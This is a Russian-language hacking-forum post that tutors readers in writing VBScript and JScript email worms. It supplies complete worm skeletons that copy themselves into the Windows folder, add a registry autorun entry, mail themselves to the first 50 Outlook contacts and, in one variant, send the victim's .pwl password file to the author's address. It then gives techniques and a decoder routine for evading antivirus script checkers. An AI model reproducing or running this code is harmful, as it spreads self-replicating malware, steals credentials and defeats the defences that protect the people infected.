Начинающий хакер, спасибо что зашёл к нам! Для полного удобства рекомендуем Вам сразу же зарегистрироваться. Помните, необходимо придумать сложный пароль к своему логину, в котором будут присутствовать цифры, а так же символы. После регистрации вы сможете пользоваться чатом. Так же не забудьте активировать аккаунт через письмо, высланное вам на почту ! Администрация заботится о каждом из Вас...
Для просмотра разделов из категории Private Informations & Programms необходимо купить
<div class="bbWrapper">Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python.<br />
<br />
Как ни хороши скриптовые языки, много с ними не сотворишь. Они неспособны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее.<br />
<br />
Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject. Подробнее о WSH можно прочитать здесь.<br />
<br />
<br />
<br />
<span style="font-size: 18px"><b>Написание</b></span><br />
Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей. Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.<br />
<br />
Option Explicit<<br />
<br />
Dim FileSysObject, File<br />
<br />
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")<br />
<br />
Set File = FileSysObject.GetFile(WScript.ScriptFullName)<br />
<br />
В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.<br />
<br />
Теперь опишем третью и четвертую строки примера:<br />
<br />
<br />
<br />
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")<br />
<br />
<br />
<br />
Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.<br />
<br />
Скопируем скрипт в c:\windows, для дальнейшего использования.<br />
<br />
File.Copy ("c:\windows\I_am_virus.vbs")<br />
<br />
Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.<br />
<br />
Dim WshShell<br />
<br />
Set WshShell = WScript.CreateObject("WScript.Shell")<br />
<br />
Теперь мы смело можем управлять захваченным компьютером.<br />
<br />
Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.<br />
<br />
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows _<br />
<br />
\CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"<br />
<br />
Следующий шаг за вашей фантазией, можно скопировать из интернета более сложный вирус и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.<br />
<br />
И, наконец, мы переходим к "сердцу" каждого интернет – червя, процедуре рассылки.<br />
<br />
Создаем ссылку на объект самого распространенного почтового клиента Outlook.<br />
<br />
Dim OutlookObject, OutMail, Index<br />
<br />
Set OutlookObject = CreateObject("Outlook.Application")<br />
<br />
Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.<br />
<br />
For Index = 1 To 50<br />
<br />
Создадим новое почтовое сообщение<br />
<br />
Set OutMail = OutlookObject.CreateItem(0)<br />
<br />
<br />
В поле "Кому" занесем адрес из адресной книги<br />
<br />
OutMail.to =<br />
<br />
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)<br />
<br />
В поле "Тема" вставим тему сообщения<br />
<br />
OutMail.Subject = "Тема сообщения"<br />
<br />
Добавим текст сообщения<br />
<br />
OutMail.Body = "Тело сообщения"<br />
<br />
Прикрепим скрипт<br />
<br />
OutMail.Attachments.Add(WScript.ScriptFullName)<br />
<br />
И отправим его<br />
<br />
OutMail.Send<br />
<br />
<br />
<br />
<span style="font-size: 18px"><b>Каркас E-mail worm:</b></span><br />
On Error Resume Next<br />
<br />
Dim FileSysObject, File<br />
<br />
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")<br />
<br />
Set File = FileSysObject.GetFile(WScript.ScriptFullName)<br />
<br />
Dim OutlookObject, OutMail, Index<br />
<br />
Set OutlookObject = CreateObject("Outlook.Application")<br />
<br />
For Index = 1 To 50<br />
<br />
Set OutMail = OutlookObject.CreateItem(0)<br />
<br />
OutMail.to =<br />
<br />
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)<br />
<br />
OutMail.Subject = "Тема сообщения"<br />
<br />
OutMail.Body = "Тело сообщения"<br />
<br />
OutMail.Attachments.Add(WScript.ScriptFullName)<br />
<br />
OutMail.Send<br />
<br />
Next<br />
<br />
<br />
<br />
<br />
<span style="font-size: 18px"><b>Каркас обманки:</b></span><br />
On Error Resume Next<br />
<br />
Dim FileSysObject, File<br />
<br />
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")<br />
<br />
Set File = FileSysObject.GetFile(WScript.ScriptFullName)<br />
<br />
File.Copy ("c:\windows\I_am_virus.vbs")<br />
<br />
Dim WshShell<br />
<br />
Set WshShell = WScript.CreateObject("WScript.Shell")<br />
<br />
WshShell.RegWrite<br />
<br />
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _<br />
<br />
CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"<br />
<br />
Dim OutlookObject, OutMail, Index<br />
<br />
Set OutlookObject = CreateObject("Outlook.Application")<br />
<br />
For Index = 1 To 50<br />
<br />
Set OutMail = OutlookObject.CreateItem(0)<br />
<br />
OutMail.to =<br />
<br />
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)<br />
<br />
OutMail.Subject = "Тема сообщения"<br />
<br />
OutMail.Body = "Тело сообщения"<br />
<br />
OutMail.Attachments.Add(WScript.ScriptFullName)<br />
<br />
OutMail.Send<br />
<br />
Next<br />
<br />
Set OutMail = OutlookObject.CreateItem(0)<br />
<br />
OutMail.to = "Ваш E-mail"<br />
<br />
OutMail.Subject = "Тема сообщения"<br />
<br />
OutMail.Body = "Тело сообщения"<br />
<br />
OutMail.Attachments.Add("Путь к .pwl файлу")<br />
<br />
OutMail.Send<br />
<br />
<span style="font-size: 18px"><b>JScript </b></span><br />
Cравнив возможности VBScript и JScript станет понятно, что они идентичны и отличаются только синтаксисом языка.<br />
<br />
Поэтому можно писать червя как на JScript так и на VBScript. Тут уже кому как удобнее будет<br />
<br />
<br />
<br />
<span style="font-size: 18px"><b>Каркас E-mail worm:</b></span><br />
var fileSysObject, file;<br />
<br />
fileSysObject = new ActiveXObject("Scripting.FileSystemObject");<br />
<br />
file = fileSysObject.GetFile(WScript.ScriptFullName);<br />
<br />
var outlookObject, outMail, index;<br />
<br />
outlookObject = new ActiveXObject("Outlook.Application");<br />
<br />
for (index = 1; index < 50; index++){<br />
<br />
outMail = outlookObject.CreateItem(0);<br />
<br />
outMail.to =<br />
<br />
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);<br />
<br />
outMail.Subject = "Тема сообщения";<br />
<br />
outMail.Body = "Тело сообщения";<br />
<br />
OutMail.Attachments.Add(WScript.ScriptFullName);<br />
<br />
outMail.Send;}<br />
<br />
<br />
<br />
<span style="font-size: 18px"><b>Каркас обманки:</b></span><br />
var fileSysObject, file;<br />
<br />
fileSysObject = new ActiveXObject("Scripting.FileSystemObject");<br />
<br />
file = fileSysObject.GetFile(WScript.ScriptFullName);<br />
<br />
file.Copy("c:\windows\I_am_virus.vbs");<br />
<br />
var wshShell;<br />
<br />
wshShell = new ActiveXObject("WScript.Shell");<br />
<br />
wshShell.RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _<br />
<br />
CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs");<br />
<br />
var outlookObject, outMail, index;<br />
<br />
outlookObject = new ActiveXObject("Outlook.Application");<br />
<br />
for (index = 1; index < 50; index++){<br />
<br />
outMail = outlookObject.CreateItem(0);<br />
<br />
outMail.to =<br />
<br />
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);<br />
<br />
outMail.Subject = "Тема сообщения";<br />
<br />
outMail.Body = "Тело сообщения";<br />
<br />
OutMail.Attachments.Add(WScript.ScriptFullName);<br />
<br />
outMail.Send;}<br />
<br />
outMail = outlookObject.CreateItem(0);<br />
<br />
outMail.to = "Ваш E-mail";<br />
<br />
outMail.Subject = "Тема сообщения";<br />
<br />
outMail.Body = "Тело сообщения";<br />
<br />
outMail.Attachments.Add("Путь к .pwl файлу");<br />
<br />
outMail.Send;<br />
<br />
Однако при выполнении скрипта Script Checker выдает сообщение, что этот файл возможно содержит вирус и заблокирует его выполнение при первой удобной возможности. Все связано с тем, что он реагирует на попытку отослать файл по почте, так как и в VBScript, и в JScript строка OutMail.Attachments.Add(WScript.ScriptFullName) выглядит одинаково. Избавиться от этого можно весьма легким путём а именно, закодировав скрипт программой MS Windows Script Encoder.<br />
<br />
И тут нам уже не сможет противостоять ни один из столь пупулярных антивирусов как: Norton AntiVirus, AVP.<br />
<br />
На основе сделанного анализа можно предположить, что нас ждет следующий виток эпидемий связанных с написанием вирусов на JScript.<br />
<br />
<br />
<br />
<span style="font-size: 18px"><b>Как обмануть AVP Script Checker</b></span><br />
Описанный метод обхода AVP Script checker довольно сложен, так как требует знаний разных языков программирования, однако можно придумать множество более простых методов.<br />
<br />
Практически все программы защиты от вирусов работают по одному и тому же принципу, они сравнивают файлы с имеющимися в базе данных участками вирусов, так называемыми сигнатурами. По аналогичному алгоритму работает и AVP Script checker, который после предварительной компиляции просматривает файл, и ищет "знакомые места". Однако в отличие от компиляторов мощных программных продуктов cscript.exe проводит только предварительную компиляцию, без редактирования исходного кода, и поэтому, немного изменив исходный код ранее написанного вируса можно легко обойти защиту.<br />
<br />
За основу возьмем каркас почтового червя на VBScript.<br />
<br />
Начнем с самого простого метода, изменения порядка выполнения, добавления пробелов и пустых строк.<br />
<br />
Заменяем<br />
<br />
<div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code">
<div class="bbCodeBlock-title">
Код:
</div>
<div class="bbCodeBlock-content" dir="ltr">
<pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
на OutMail.to = "Адресс E-mail", для безопасности, и сохраняем.
AVP "говорит": обнаружена новая модификация вируса I-Worm VBS.Fool.
Убираем строку Set File = FileSysObject.GetFile(WScript.ScriptFullName), он замолчал, значит, антивирус реагирует именно на присутствие этой строки. Меняем местами строки и получаем:
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
AVP Script checker не реагирует.
Можно просто изменить проблемную строку следующим образом:
Set File = FileSysObject. _
GetFile(WScript. _
ScriptFullName)
Эффект тот же, надо только поэкспериментировать. В коде I-Worm VBS.HappyTime в начало файла добавлено 35 пустых строк и этого хватило, чтобы антивирус не распознал его.
Существуют и более сложные методы, например кодирование тела вируса. Ярким примером этого послужил I-Worm VBS.Homepage в котором основной код был закодирован следующим образом:
DeCode("Кодированное тело Homepage")
Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then
CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then
CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then
CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then
CurChar= Chr(9)
Else
CurChar = Chr(Asc(CurChar) - 2)
End If
DeCode = DeCode & CurChar
Next
End Function</code></pre>
</div>
</div>В результате чего, довольно простенький скрипт заразил миллионы компьютеров по всему миру.<br />
<br />
Следующим шагом будет написание на VBS полиморфика, скрипта способного видоизменять свой код по мере необходимости.<br />
<br />
<br />
<br />
<span style="font-size: 18px"><b>Заключение</b></span><br />
К недовольству "настоящих вирусописателей", считающих скриптовые технологии забавой для ламеров, количество вирусов использующих эту технологию неуклонно растет. Это связанно с простотой реализации и интегрированностью в операционную систему, с помощью скриптов можно полностью управлять системой, запускать и останавливать процессы, удаленно создавать и удалять пользователей, править файлы, и много чего еще...</div>
Рады видеть у нас на форуме ! Для того, чтобы создать тему, оставить отзыв, или же написать личное сообщение пользователю, а так же просматривать содержимое тем, необходимо Войти в аккаунт или же Зарегистрироваться